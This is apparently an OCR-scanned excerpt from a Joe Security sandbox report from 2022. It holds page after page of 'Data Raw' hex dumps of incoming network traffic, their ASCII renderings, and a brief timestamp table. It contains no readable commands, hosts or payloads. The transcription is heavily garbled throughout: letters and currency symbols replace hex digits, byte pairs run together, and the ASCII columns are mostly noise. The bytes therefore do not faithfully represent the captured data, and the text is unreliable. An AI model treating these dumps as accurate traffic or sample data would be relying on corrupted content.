f2 74 2f f1 08 fO 7f 9e 5b fe 5f 80 6f bd 76 c7 5 78 d4 60 f4 84 ec 91 8a 28 23 9d 58 7d be 25 87 57 0a 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 2 74 2f f1 08 7d be 25 87
57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2
74 2ff1 08 7d be 25 87 57 0a 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee
da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 Oa 25 9f 5a 8a 38 ee da 91 0d ca 25 e6 fa 13 c9 8c 4b ed 34 db 9c 68
ef f1 a3 92 d6 b4 04 46 63 1b 26 1c 84 ec 91 8a 28

Data Ascii: %AYs?S}%W%Z81IN7/[_ovx (#X}%W%ZB8INT7t/}%W%Z8IN7H/}%W%ZBIN 7t} %W%HZ81INT7t/}%W%Z81IN
T%W%Z81INT7}%W%HZ8%KAhFc&(

Data Raw: 60 f4 b2 2a 69 6e dd 42 55 0f 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 04 73 3f f4 92 ef 17 73 f0 7f 9e
5b fe 5f 80 6f Of 11 94 b8 af e2 c1 76 d0 4c 9a b2 b2 29 ¢3 14 7d be 25 87 57 0a 25 9f 09 df 17 41 8d 59 85 ab 74 d1 34 4b
3fagcl cc 81 ca5d 2c 74 03 96 €0 bd 76 c7 e5 78 d4 60 f4 b2 2a 69 6e dd 42 55 0f 9d 47 26 75 8f 23 54 d4 d8 66 11 a3
03 6e 3f 20 82 28 cf fd fa 57 48 96 24 cd 02 93 93 2d e5 38 91 13 d2 28 32 3f 1e d0 fO f6 cf d9 fa 3b d4 2c 7d be 25 87 57
Oa 25 9f 5a 8a 38 ee da 91 0d ca 31 4e 37 f2 74 2f f1 08 7d be 25 87 57 0Oa 25 9f 5a 8a 38 ee da 91 0d ca 25 e6 fa 13 c9
8c 4b ed 34 db 9c 68 ef f1 a3 92 d1 32 97 bf Of ee 99 78 6d 65 24 3f 8¢ b3 58 13 64 6f 45 99 Oa 08 4e 79 5a 8a 38 ee da
91 0d ca 31 4e 37 2 74 2f f1 08 fO 7f 9e 5b fe

Data Ascii: “*inBU}%W%AYs?s[_ovL)}%W%AYt4K?],tvx inBUG&U#Tfn? (WH$-8(2?;,}%W%Z81N7/}9%W%Z
8%K4h2xme$?XdoENYZ8INT/[

Data Raw: 22 59 db 12 a9 5d 75 15 7 22 08 6e 55 f6 d6 36 8d 52 b6 d2 ff 7a 48 5f 8a 82 €2 a0 82 10 5¢ 49 bc 6 86 d8 c5
c4 9b c4 1f fd 8f 45 f3 74 58 35 73 8d 7 c9 el aa 3d b7 b1 61 c0 ea 21 5f b1 e3 Ob b4 33 6¢ f6 f4 9b 13 92 fe f4 6a 32 1e
27 d7 5e f8 cf b6 c4 8b 4f ab 55 2d 90 7d 01 6f 35 59 4f e1 50 53 ec el a0 4e a3 92 45 81 ae 3b €0 ab ff 1b 14 b2 9a 48
d3 a6 c7 56 Of 2e 8d d9 49 2d 17 90 e8 ef ee 11 4c 09 be ba c1 a9 92 af eb 5a cb 7d 76 fd 1f 65 33 8f 59 1d 5e Ob Oa 2c
8b 4b 6b 61 c5 7e 54 bd e4 32 5d ae 16 54 68 34 83 45 2d 4f c4 50 53 ad 62 b5 fc €8 3f d9 50 9d e5 d6 8c 98 d2 9f 71 03
c89c 74 18 c5 e8 a2 fa 55 16 ea €9 dd 6d 1f 94 6a 01 f4 55 36 00 38 6¢ 7d c4 56 ed a2 ce e2 49 f4 27 10 fb 1f 13 5a 4d
el cO0f93f7bfae7 ed eee8e2e2 7b db 6f 1a 7b

Data Ascii: "Y]u"nU6RzH_\IEtX5s=a!_3lj2"*OU-}05YOPSNE;HV.I-LZ}ve3Y" Kka~T2]Th4E-OPSb?PqtUmjU68I}VI'ZM?{{o{

Data Raw: 59 6¢ 05 ad 29 95 b7 47 6a €9 eb 40 Oe 57 1d d7 14 d9 c2 6e 17 1c 5a 7a 93 a8 8b fc d1 56 26 fe ae a5 e7 1c
cl a4 1a 92 b6 Oc 78 e7 bf 68 c7 99 ae 83 ee 2d 98 9e 60 ec ca 4e 14 c7 7b 97 54 67 3d c6 f3 9e da 39 ee 11 2e eb 21 d8
db 99 de 89 5d ef 90 cf Oe dc a3 bb 8 76 13 71 91 31 94 34 de Ob el c2 a8 23 fb 84 74 94 47 80 83 0d fe fb 80 eb 05 23
2761 6¢ c567 2c a7 48 9d bb 07 69 a3 6b f1 9f 06 19 23 4c ca 7d de d4 da 4d 13 59 5d 32 df 76 bc e8 c0 27 20 81 48 8¢
ec db 94 cb be e7 9f 06 €8 02 3b da al bd 14 1b 33 a5 b1 82 14 al 77 7a f0 8a b2 d9 23 78 b5 a0 95 10 64 c4 2e 20 c3
87 3e 7e 7b e9 45 c6 Oe 22 f4 db bb a0 72 74 57 45 fb 7c ed 49 19 dO ed 7b b7 4e 5e 13 1f be 5d 5¢c ef 4a 16 7d a3 d5 f4
39 eb 5b 52 58 58 9b 90 75 a0 85 4b ad b9 37 b8 31 1a 3b 64

Data Ascii: YI)Gj@WnZzV&xh-"N{Tg=9.!lvq14#tG#alg,Hik#LIMY]2Vv' H;3wz#xd. >~{E"rtWE[{N"\J}9[RXXuK71;d

Data Raw: Oa d2 58 f2 9a Oc c0 88 08 c¢9 bf 11 57 58 85 9f f8 df c9 b6 66 ed 99 83 69 32 2c fd 21 93 7a a4 Ob 70 f8 9 el
8e 20 e7 4e 4f c3 5d e2 01 9a a7 41 75 81 62 8f f2 3a 54 4e 90 87 08 8b d6 50 8f d8 4b el 8e 8a e8 7d 91 f5 34 e2 20 e2
14 24 3e be f9 4c 72 8b aa 3c 28 7d 7b 3b 65 83 8d d3 07 62 26 9f c4 41 b8 14 6¢ 1f 9b 04 66 93 a3 3¢ 50 24 3c €0 39 Ob
a5 4a 09 65 ee 72 5f 35 9f 3d 8c b6 2d ca a9 c1 1a 21 41 3f df 6b 2e 68 47 83 94 86 14 c7 ce 18 cd 0f 11 cb 15 ce 36 7 ff
21 9b f5 67 20 41 94 4d 41 17 b9 88 3c af a8 02 ad c4 b9 4b d1 9d 4b ca c7 b9 1a 77 42 f2 fa 31 7d 5 72 f9 9a fd 68 89
4a a2 fc 36 fd 71 fc 5¢c e7 a4 1d 72 f4 5¢ 17 79 27 fc 4c a8 36 3f 51 f8 ee 59 41 92 4e 52 e7 €9 5b Oc 3c e8 45 df 7d bd 61
98 73 f3 1a f0 da b2 dc db 18 9¢ 69 9a 5c ab 14

Data Ascii: XWX(i2,!zp NOJAub: TNPK}4 $>Lr<(}{;eb&Alf<P$<9Jer_5=-1A?k.nG6!g AMA<KKWB1}rhJ6q\rly'L6?QY
ANR[<E}asi\

Data Raw: 7d e3 a2 2a b5 81 c1 le 4a 38 d1 fb 8a dd f9 a9 79 c8 84 8 d3 65 10 21 35 e2 26 95 52 al 8a 5f b9 92 e4 3c fa
44 e8 77 0d 20 d4 93 87 07 97 e7 86 4b 4d 17 f2 b1 34 40 ba f4 23 30 78 df 53 57 a8 84 c4 94 52 79 86 3a 0d b5 03 70 c9
43 ¢9 86 85 2b ¢5 83 a2 53 6a 0c 92 20 85 6b 4a db 59 0b 8c 8a 1c ac b9 f3 fa eb a4 6d 69 20 97 fa db 68 bc cf fc b6 2c
4d ad bc 68 61 a9 ac 51 38 05 91 05 26 69 d9 6¢ 26 a3 dd ac 24 bf 7b 4b 6b 4a 24 2f c3 0d 88 Oe bb b5 82 e3 10 45 e0

2d 2 80 3b 36 21 71 05 72 99 64 d9 9b Oe 4e eb 13 57 8b 1b 34 54 e3 99 59 68 42 c7 07 b6 93 6d 2b bf ee 2e 61 83 df 48
5f 19 b0 79 e4 52 15 82 fb b1 6a c6 22 9c 43 9a €0 8d d7 91 00 38 fb 64 65 1f 48 7f 6d 5b cd 5a d5 eb 5e b9 ea 49 b9 cd
23 a6 85 62 c7 e4 54 6a a9 fe 99 1c 35 bf 9b a0 a7 7b 3e

Data Ascii: }*J8ye!5&R_<Dw KM4@#0xSWRy:pC+Sj kJYmi h,MhaQ8&il&${KkI$/E-/;6!qrdNWATYhBm-+.aH_yRj"C8deH
m[Z7I#bTi5{>

Data Raw: 43 c0 25 2f 0a 40 el 7e d0 59 21 e2 da 5d 85 7b a8 c2 66 21 61 67 79 63 €6 fd f6 1a 79 22 da bc e4 a6 8b 52
€8 04 8b c3 14 31 23 4d 73 2 f4 72 07 8c a0 88 40 07 3e 5 27 45 69 19 df 3f e9 8e 65 b0 1f aa 12 fb 5d 78 02 4c c4 52
d1 84 f5 d6 ce 6f 3b 8b d2 6f 56 ca c7 74 13 17 d2 45 ac fe ad 38 a6 d5 2e 89 88 96 13 6¢ 1f ¢6 89 3c 9e 5a f1 33 8a 17 f2
4087 17 74 f8 3d ec dd f9 51 1b 66 9 6b ff 7f ce be 3d 98 30 32 65 67 f2 9f 3c 3f 48 ec fc ff f8 5¢ 29 e8 62 ea fc 20 ¢3 9d
2c 40 c9 44 e3 96 ea a0 c5 08 b9 f7 44 7b 65 0a 18 e0 87 54 6a a9 fe 99 1c 35 bf €5 53 22 72 af 6 45 1f 54 6a a9 fe 99
1c 35 bf ¢1 f7 70 02 38 be 90 61 90 9¢ 84 1a 59 92 27 1b 8¢ 7f al 8b 87 c1 83 b2 65 49 a3 0f 47 9a e0 36 4f 83 00 93 8a
0f 46 al de fa 85 2a 10 dc c6 5a 98 74 19 0Of 1a

Data Ascii: C%/@~Y!|{flagycy"R1#Msr@>'Ei?e]xLRo;0VtE8.I<Z3@t=Qfk=02eg<?H\)b ,@DD{eT|5S"rET|5p8aY'elG
60F*Zt

Data Raw: 41 46 fb d7 5f Of c4 ae 46 5d ac 9e 56 c3 82 5e ef 00 ed 89 fd Oe e6 f4 3b 6¢ b6 12 41 04 53 2d 51 8a ab c8 3
fO 6d 4c 47 72 56 62 65 4c 58 8e 91 a2 e5 15 48 c1 1f al 70 96 24 05 eb 31 3e 33 d2 70 4a el f1 €9 1b 91 6¢ c6 f4 29 7d
al0d 1f el b8 97 16 c6 79 2e 3e 3c 83 64 1c b9 89 42 39 fd f5 9b 75 bb 59 1b 8a 1d fc 6¢ 3¢ 8b 34 d0 a6 f2 29 bf 80 1d
e4 54 db 46 63 73 72 15 49 82 3b 4f 9e 2b 22 b0 1e 9d 90 9c 9e 03 9b 38 a0 a5 Oa de 1f 77 ¢3 ¢5 67 33 78 02 6¢ Oe el
3c 83 61 7d 4c 15 ad 9c 60 1f 64 31 02 51 96 d6 f1 2b 38 dc ab cl 4f 14 3f 27 d9 9d fO 31 06 c5 15 bl 1c f2 €7 92 2e 07
7d e2 36 b0 60 d7 el e7 ae 52 2a 73 19 7d 8f ce 4c 37 c5 4f ef 7a 94 bd ef 94 d4 43 11 85 7b 59 4e 8e 18 f0 56 b6 87 08
41 5f 4f 8b 30 59 40 b2 3b 3d 69 9e ab 2c 92 9d 66 22 a9

Data Ascii: AF_F]VA;IAS-QmLGrVbeLXHp$1>3pJl)ly.><dB9uYI<4)TFcsrl;0+"8wg3xl<a}l 'd1Q+807?'1.}6 ' R*s}L70z
C{YNVA_O0Y@;=i,f"
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Timestamp transferred Direction
2022-06-23 16:20:09 UTC 1188 IN
2022-06-23 16:20:09 UTC 1195 IN
2022-06-23 16:20:09 UTC 1203 IN
2022-06-23 16:20:09 UTC 1211 IN
2022-06-23 16:20:09 UTC 1219 IN
2022-06-23 16:20:09 UTC 1227 IN
2022-06-23 16:20:09 UTC 1234 IN
2022-06-23 16:20:09 UTC 1242 IN
2022-06-23 16:20:09 UTC 1250 IN

Copyright Joe Security LLC 2022

Data

Data Raw: b3 93 a0 Oa a0 00 92 0d 06 40 0d 8e bd 05 4c c3 84 67 59 b6 cd a5 bc 68 €3 b3 52 dc 83 38 b4 26 58 af b6 d5
4aea 1f 74 1f 99 af 44 dd 6b 16 3a 8f 4b 86 cd 5e 9d 07 c6 a2 1a 28 71 bb a0 51 ef 88 e5 f8 a0 f4 c6 44 ea e7 8d aa 24 f3
d6 73 87 77 57 86 58 d6 da b3 8d Oc 2c 4a 7c 0f 1d 8¢ 66 ca 41 c8 9c {7 5f 80 02 a4 40 f8 b7 b1 96 Oc f4 64 22 1e ee 88
56 00 4e c4 c9 5a 20 b8 a9 6b a5 42 1a 6e 8d 4f 74 60 51 eb 4e 78 be f1 20 3b 98 58 Ob a8 45 75 00 a8 51 a7 bc 82 b3
09 5e 76 7d 18 d5 21 Of ¢6 c1 3d c2 1d b2 c5 6f 29 8a ce 6e 92 60 f9 27 ae 7f a4 30 50 74 b1 8e b5 89 43 c4 db ed 5f 95
bb 1d 98 e7 07 de f9 6f a8 50 cb ec ¢4 65 d9 0f c6 d9 19 9c a9 54 4d 44 b9 94 5d c9 f4 7a d1 37 bl 72 e7 db 4c 0Of b9 d7
le bf f1 38 d1 c2 eb ca 3e bd e7 44 7b da 00 76 66 65 e8
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Data Raw: f3 63 fb 25 4e 7d ce 5e b3 79 64 02 2c e4 95 8b 48 9d 12 c1 04 92 d4 89 fe 8c 46 4c 4d 31 26 18 11 4a db 7e
bf b2 21 a7 3b 6b 00 88 6e 77 b4 83 de 87 77 ea fe e8 08 51 6d 9b 23 d0 c9 9c 2d 5b Oe d5 50 be 7d 3 9d 3c cc f3 02 2b
Oc 2f Oc 03 52 9f 84 66 3d f1 bb bc 69 ca Oc 4c 15 18 78 76 2f a9 08 a9 5d ed 7d 80 48 54 c2 le d9 af 9e 4f e3 ee da fO 5e
ec 87 6b 9e e2 19 27 ac 70 57 83 24 94 19 ab 5c Ob 0d 33 9d 53 3f 78 78 42 d7 66 €8 7f 7 f5 c0 d5 d3 a8 73 a9 c9 61 44
Oe 69 88 f8 b7 2c c4 63 28 3b 10 7c 88 25 f4 {3 6e {7 32 4a 3e 16 59 47 60 a0 2f 9f 07 6¢ 12 82 b7 de 71 b3 20 b3 3b 98
Ob 6f ca e6 47 97 12 38 32 7b 37 97 el 12 3b 6a 28 2e 4e Of ae 92 a3 da al c4 39 83 ac 73 82 c1 ef 91 05 91 05 b5 87 a4
53 8d 8d c5 43 84 23 53 ad 9f db af 76 47 a9 9f 09 69
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J(:N9sSC#SVGi

Data Raw: 00 94 d5 fa 87 cf dd 50 df al c4 a5 24 55 93 30 00 90 04 28 bd c6 e0 2c fa 7a 13 ae 99 48 72 89 c8 44 f4 39
88 8f 60 dd 8a c0 7b a5 6d 38 be f5 7c 8a 7e 99 86 5f 79 07 d3 4a 07 5f b6 11 74 6 7b 53 25 35 ff d7 2d 89 1b cc 3d 3e
60 01 24 16 39 0a 4a 62 4b da b0 9c b3 e7 8e b2 69 3d f9 08 ed 8f 76 92 b2 22 15 69 87 af Oc b8 9a 8c 3e d1 18 14 el 1c
c6 e4 cldd e7 42 50 7c 95 91 04 7b 5f ae 87 34 19 44 b6 e6 f9 5¢ 00 d4 67 bd 2a b6 75 d9 1f 72 c3 e7 0a 42 7d de c8 97
e2 8a 1f 29 4f 75 c9 58 c9 46 af 5d 4e 48 50 19 c3 bd f6 d6 8a c8 5b 67 e8 86 8e e7 bc d3 e4 8a 70 38 9e ed fb 76 00 47
a4 2c 320295 72 4e a6 57 e4 98 2a 73 ed 24 4f 72 ¢3 9c b9 40 17 2f 99 79 3a 79 95 al a6 a5 a6 20 3d 4d c8 3a 3c 87 f5
62 62 81 06 68 96 da b8 Oe 5¢ 3e 2c 0f 62 c8 ca 36 b1l a0
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<bbh\>,b6

Data Raw: 17 92 5a 41 1f 2e 5b 7c b9 55 74 52 fe 8f 11 91 68 69 bd 7a 2b cf f8 20 82 2¢ 44 el 26 4c 1f 85 d6 66 23 1a 90
4b 8b ef 4e d7 80 13 d4 5e b0 40 bb 4e Oc 3b 9a 73 cd a3 99 13 24 91 bd e5 79 7b 05 7e 6e 78 91 82 e2 e6 21 al 64 8e
2b 1f ba e6 e3 da 67 56 41 37 04 95 cc 05 6f f6 d0 39 34 f9 e0 3c 3d ac 48 58 1c¢ 59 3b d1 09 8a b8 8a 3d be a4 75 f2 2f
a5 5a 9d 9e c9 cb 7e 4b 46 Oe d9 03 2¢ 33 66 72 e1 09 b1 55 33 el 35 c1 40 35 bl 64 2e fa bc 78 84 39 42 fa 41 c9 6e 49
64 c7 fc 56 05 ff 14 d2 93 ea ca 85 27 19 ce d8 6d 99 5a c2 db 71 Ob 23 d2 2e 97 f3 48 ee 6b c0 49 fe e6 30 af 02 77 97
Oc a5 1b 43 52 el e4 49 6b a4 ed 65 63 64 {7 39 81 93 49 bc 65 a3 ed b3 92 b8 ba 03 e4 93 eb 48 1e c5 5e 93 a8 5¢ 53
58 61 ac b9 89 64 7d 80 b0 89 14 90 f5 5f f2 a4 6e f1 a4 ac
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Data Raw: 03 13 49 33 8a 93 f9 f7 33 54 94 36 2b f4 97 fb ba 59 35 f7 ¢6 77 83 07 cf f1 c7 ad e4 b6 47 03 9f 65 d1 79 f8
c8 5e 3d 54 3f 4f 4e e7 df 5e 4c fb 32 7 56 5¢ fO Oa be 3e 58 97 dd 7d fa 56 7e 09 1a 2d a4 d5 b5 aa a0 6¢ c7 f7 2a cl 21
57 94 3552 a6 9f 09 31 56 41 da 47 63 7d ff 7c 02 18 d6 2e f1 d3 ea d5 d7 45 cb 78 4c d7 50 9d 05 b0 12 d3 bd b8 cc c2
f1 16 bd a6 5c 49 0f 55 1e 2b 53 a3 af 96 41 60 cf fd 64 ¢3 a9 32 64 db 52 37 22 13 ce a2 b5 68 d2 c7 67 3a 6a f7 04 69
bf 36 ff 63 56 1d 40 4f 74 8b 21 2f 46 c3 9b a4 4d 59 4e 42 bc ee 32 ee 7b 09 ed ab 39 d9 7e 78 88 01 3b 22 51 9¢ 93 2b
51 0d 89 3a 29 29 2f 32 3d 74 19 4e d6 6a 29 35 64 48 bc a9 91 a0 7e ce 49 d2 76 cd da 49 8b c2 fb af 19 fd 3c f7 2e 7b
2c 0b 80 bb 37 9f 66 2¢ b9 59 49 32 e3 cb b6 25 23
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Data Raw: 4e f5 Oc 6f 07 €6 75 4b 70 93 Of ae 55 46 b9 24 fe 40 dc 69 df b7 06 90 9f af 30 ed 44 35 73 55 27 96 d3 25 37
a7 d5 8e 09 e9 ce 37 7f 3c cd dc e8 85 3e 62 e6 55 a5 00 5d 57 91 74 36 0 64 f1 70 73 0 b1 5d 39 c7 eb 49 01 93 Ob 8¢
87 aa e5 62 a4 9c 2e 95 0a 71 07 6¢ f3 70 26 64 22 96 eb 12 31 4b 19 a5 77 Oc db 68 9c 55 df 6 6d 41 2e 3b 8e 11 c0 03
cb 68 b9 e3 b7 87 a0 d6 c6 52 e0 36 8f f1 9a 85 a9 4f 01 8e af 1b c8 54 aa 20 ff ab 96 67 5c 7c fe 4d 98 cd b1 25 cd 5c¢ 8
70 e2 a4 d2 f7 20 c7 fd 97 42 3f 8f 1f 40 89 67 43 d5 82 d8 85 7d a9 04 28 60 c5 05 03 6d be d3 59 6e 67 c6 02 b5 f1 09
60 0b ae 37 1c 29 17 7a c3 e1 98 13 94 el 78 b1 84 0d a9 af a4 2d c5 63 91 le c8 a7 1d 02 ff 93 45 c5 4c 50 89 a8 ff 29
55 12 79 65 a5 2c 3f 8b 4d dc a7 05 67 f2 55 b7 53
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ye,?Mgus

Data Raw: 9c b3 a3 e4 89 97 Oe 69 2e 69 d1 7c 05 c7 5d a4 e4 40 eb 6b 8e 9d el 58 9d 9e a4 4f d9 4c 68 9b 31 32 13 4d
cl 0f a3 caa2 43 e4 a4 7b 27 00 4c 27 06 d5 cc 00 fb 75 3b 5e 42 af b8 c2 a2 32 ee a4 85 51 8d ff e4 15 79 ce b5 da 65
d3 dc 2f 80 77 5f al 21 6f 58 d3 d6 1a 86 7f 4f 2e Ob eb 13 f4 46 6f 11 55 f2 4c 1c ea 5d 3f 58 51 d8 d7 Oa fc 60 93 8c 8b
e5 33 6f ad 81 98 17 e3 7a 9d ea ab 01 ac 31 f0 81 ce 1d fa 30 ¢9 35 c4 b9 ff 77 e4 b3 55 25 e6 €9 4c 1d 54 ae 48 20 fa
49 af 19 b5 9d 21 d6 85 a3 3c 9d 04 9d d5 ef 15 ¢3 b4 c1 64 08 7e 70 d6 58 e3 €7 ¢5 05 Oc fO 47 c6 49 Oc df c6 02 a8 44
fa 52 dd 09 4c 09 83 al de 13 0a 4c 08 3a 71 9b e3 59 37 40 b3 73 4c f1 ¢6 8¢ 5¢c cf 7d a8 9a c3 74 b2 38 5e 46 3¢ ea 90
b2 8f 53 f6 30 0d 2b 8d 6f 2f 3c 34 89 e4 c5 c6 2e e8
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Data Raw: ad 4b 41 d7 74 89 8d 28 f6 8c 77 2a ff cb bl 04 4c 97 79 23 90 21 bb 72 1a 61 0d d8 9c f8 e2 44 1f 28 al d2 7b
5d ff f9 e3 65 8b 32 97 fb 38 2 d1 dd 18 82 90 e3 3e 47 20 53 87 38 b0 79 86 b6 c4 d6 66 ba de a6 af 8d c4 25 93 aa 68
a4 fb db ad 88 eb 83 e8 9e 56 58 c9 7a fd 22 34 a4 8a fc 8b b3 df e3 6d 32 bd 5c ec 41 7a 9d 90 c0 6d 9a ce d2 0f e7 dc
8 93 89 b4 c2 ef 07 07 6a cO 64 4b 3d 7c 76 6e c1 03 fc cf 7e 95 cc 8¢ el 54 fb 37 54 d9 34 07 77 02 18 eb c1 1d Oe 24
€6 a2 c2 27 07 b2 9d 76 2c d2 Oa 7e c5 6 Ob db 74 ab e4 2e fc d1 7a 28 92 ¢8 06 3f 71 18 b2 f8 a5 1f 14 d3 22 6a 4f af
36 49 b9 bd 42 bb 6¢ 40 a2 41 8a 3c cc 9¢ 8b ec ba 1d ed 2¢ 49 7b 62 e0 e5 ef 26 69 19 6e 4e 1a 4d 81 7e 14 95 b3 fd fc
d4 ad a6 ad 63 cd 9d 3b 67 fc e0 45 45 bb b6 26 b5 44
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Data Raw: 64 f2 71 33 da 23 26 3a 9d 8b ef 5¢ d5 4d ¢3 3a 78 5f 99 18 33 70 Oc d2 Oe 68 fd dO 9b b7 25 48 ce b4 2a b7
ea 8b a6 be 78 ef dc 69 ec ce 5¢ 5f 3d 7a fc 85 47 5e 55 54 6d 03 78 8a 8e bd cd 6d 4e 4d 41 55 a2 32 da ae 9e cb a5 4b
ac a5 ac 85 07 1d b3 a0 04 bb 24 98 f3 1d 57 0d a5 ee c2 a0 02 Oa 75 1f cO cf a5 44 32 ee 75 f4 97 88 49 02 cd 4a 27 e8
ec 69 d6 e5 8a 32 37 00 7d 1e 01 79 db 5¢ ec 5b 2b 4b 5¢ 7e 92 94 22 b5 b2 a8 aa a9 2a Ob 0b 82 6e 7f 43 3d b7 1f db
a5 4368 de 8e 3c c1 61 21 d2 02 9599 3d 97 92 13 7f 2d 6a 27 42 75 03 9 18 11 d1 4a 52 66 02 58 af 3d 36 f1 c5 c6 5e
fe Oe d3 76 f5 2c 07 2f 82 al 23 358b 72 17 74 Oe €8 82 74 af c6 36 7e 01 ee Oa 13 9e 1f 6d fd e3 4b 97 d9 1f 39 f2 6a 77
1798 al db 46 03 1f 2e 7d 98 1a 36 50 a5 ¢3 8a 9d 67 24
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Data Raw: 32 6e 88 ec 11 15 el 1c 41 59 3a a0 79 29 e9 9d fb 93 1d 05 58 b5 fa 42 90 20 4c b3 30 19 97 8f d7 42 51 6b
eb 2f 71 cd 1d 68 11 6f 3c 04 05 8e ec bc 3f 09 d6 c9 9a 7c ef ae 38 Oe 98 cb e6 95 Oa 76 fa c3 2d e7 6f 89 23 f1 57 60 53
d9 84 c8 72 9b 9a f9 ¢3 9b b4 30 12 ec 8e ad d7 3f 4f 7b f9 65 94 5d 3e f3 60 25 Oc 8¢ 13 15 44 5a 74 e4 f9 1f 62 fb dd 3c
b4 e0 11 14 76 60 23 6¢ 04 b3 58 b1 9b fe f2 fe ac el 2f 51 55 d3 32 46 b4 7b b1 a5 84 86 f5 9e 93 ff f3 c1 8b 0a 55 6d 16
91 aa c9 2d 25 d2 2c 5a aa 18 14 08 c2 bf ab b6 2e 19 db fa 24 af de 73 3b 8e 9c b4 30 63 fc €8 e6 19 d3 ee 45 ba 19 2b
b5 89 ff 7e 11 86 3d eb ad 66 db 47 98 50 30 09 f9 8a b3 79 7a 27 7b b9 12 ce 52 26 75 8c 6¢ a5 f6 fe 32 7a 47 0d 92 e2
19 2d 7a 26 ac 93 88 c1 66 e7 a2 94 23 3f c8 Oa
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Data Raw: 81 2a 45 56 ba d7 df 8c 98 8b e0 3f d8 67 c2 91 40 f4 93 85 7b ab 4f b7 d2 3a 62 c8 f4 68 d0 0f 07 3c 42 7c 6d
b0 11 ed el 01 4e 00 f4 dd 22 78 42 87 94 64 94 95 34 cf 52 14 1f 4f 34 9f 99 13 4f fb 4b a0 93 73 8e d6 42 31 75 bl db
db 25 92 5d 79 01 bf 63 00 a4 45 29 86 ae 28 59 ba 32 d7 fe eb d4 c6 25 cf 00 32 53 30 88 7c 40 9a e3 72 b0 7f 9f 90 8f
42 a5 7c cc 9a a6 a0 04 1f ee Oa 2f 7a el 70 e3 e0 7 2d 1a 8d 84 d7 84 98 75 4a ec 78 e3 a9 5¢ 52 dd 00 al b4 54 a9 ed
9f a6 52 1b 0f 54 d9 eb 9f 13 b4 68 b3 95 8b e3 3 a6 1f e8 ff d4 Ob 5d c7 3e 35 3d 6d 99 f8 d3 2¢c 7d ec a8 63 09 8d 74 25
e0e7 bl 28 e2 al d6 f4 83 08 c6 9e c4 d3 ca a6 4a 7d fa cc 99 82 ea 66 00 f4 20 79 01 26 a5 4d 5e df c6 ff 4d 96 96 57
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Data Raw: 30 99 6¢ b1 12 6b 45 d1 2e 02 ae f4 2e cf c2 d5 64 9a b8 al 84 fe e2 21 38 b6 6d 68 4d a3 bf 89 ac 29 19 07
85 a0 69 88 ba 53 21 c2 c6 cc 1b e0 a9 94 b5 34 01 86 c2 bd 17 98 69 01 ea 15 3b 3a 5d 25 95 7b fc 70 5f 69 66 97 {8 07
94 86 ef 45 17 a5 24 d8 23 f7 fc ad 81 2a 41 cc 51 61 56 9c 19 77 cb 08 83 52 f4 00 ec 2b b2 1f 52 ac 56 63 6¢ 35 c2 78
cb f9 14 48 98 b0 03 00 d3 1a 7c 56 75 9c a6 6b e4 c5 52 ab c7 a9 2¢ 2c 69 24 6f 85 5 11 06 16 09 5e c0 47 ¢7 7b dc Ob
86 bc 97 5¢ fe db 65 a2 30 38 ac 5a ca 55 47 9e b6 8b 1c 24 95 3b 27 d8 18 22 2b b9 f9 15 da 02 af c3 49 e3 08 c4 ce 54
8 d0 60 7d Oe 5b 21 81 69 ee 3d 66 a4 d5 19 b0 bf af 44 09 ac b9 93 0d 75 c¢9 db 97 dO 00 54 47 92 37 e3 48 2c 87 b3 59
b9 fa f9 2d 2a 31 0a 47 2d 1e 62 3c b5 6d c2 a9 7a a6 32
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€2 8569 7d 81 2d 32 c6 3c 76 fb 2a be 25 f0 1c 45 93 4e 2e 1a 65 9a 94 ce 67 7c a6 1c 58 a7 21 5b 47 52 24 dO ca cd 45
55d1 19 95 dd dc d2 88 1c 88 17 b4 ee 45 2d 1a fO 66 bf Oa 14 04 19 a3 ed ae cc 29 69 f6 98 d1 34 72 9a af 44 44 1b el
4381 30 ce 39 be 2b 3d ab e3 a8 c9 8e 7b 6b 44 69 ad Ob 9c 1a Oc 7a d9 c3 4e 92 d8 el 46 40 2c bl c2 52 59 47 6e 5d
12 d6 e2 59 67 66 fd 65 €3 69 9c ec 16 ac 87 64 5c f5 68 f0 a5 87 f6 aa 96 b3 1b 7f 74 4b b0 fa 6f ad 92 64 f1 68 15 2¢c b8
fd 20 1f 69 70 77 24 4b 44 0b d6 78 42 94 10 94 cd f0 42 a5 df df a3 03 3¢ el Ob cc 5f bl e2 ae 99 9f 78 a9 63 3a 65 96
b5 7c 4c 39 d4 99 a2 5b ce 53 f6 6¢ 1e 4b 19 7d 3c 3c 5f
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Data Raw: Ob 86 a0 46 7f 1e 2e 84 47 9a 3d a8 bc f8 80 d0 4a 79 3a a0 9d ed 29 7f f9 b4 af 4f d3 d9 a8 42 b0 b0 3f ba 71
27 8b a3 0f 53 e6 94 8e cf el 7b 05 86 €9 25 7 3f €8 28 05 c9 59 d1 e8 de a4 24 64 2e 16 66 01 35 ee 9c 93 da f2 8a 83
0d b5 72 dc 78 50 3c 43 8c d6 14 8b de 16 2f 16 bb 49 26 3d 26 14 53 35 14 05 ee 44 cf eb a7 ce ce f4 5d b8 7e 5f bf a4
12 6a 71 b7 ad 5 21 46 4d 9a 7d 5c¢ 3e e5 3f 9f fe ¢8 b3 dO b7 33 21 d8 c4 9c 27 da 37 9a 00 d8 8c 79 00 b4 b9 22 cd 6e
61 09 24 d7 8e 6f 40 56 10 43 4e 8f ed 75 df dc c4 37 4f de bc c4 6e cf 3c d6 f1 ae fb 6d 5d 21 48 e0 2f 13 19 16 89 le 5a
d1 8d 71 77 5a 0f 52 8¢ f5 01 fa 67 3b 05 37 b7 b6 1c cd f6 €0 c9 76 c4 f4 84 ee e0 6¢ 06 4c dc ea e6 f6 07 96 f4 1f a7 3d
11 7a 83 7c 7b 2b 87 2f 08 8e 3d 17 08 5d 86 35
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Data Raw: a6 c5 ca 2d bl ef dO a5 Oc e8 11 5¢ 1a 29 fb 8c a0 cb b5 5e 89 2e d8 6e f8 14 ed ff 34 61 b5 a8 46 0f 34 02 5b
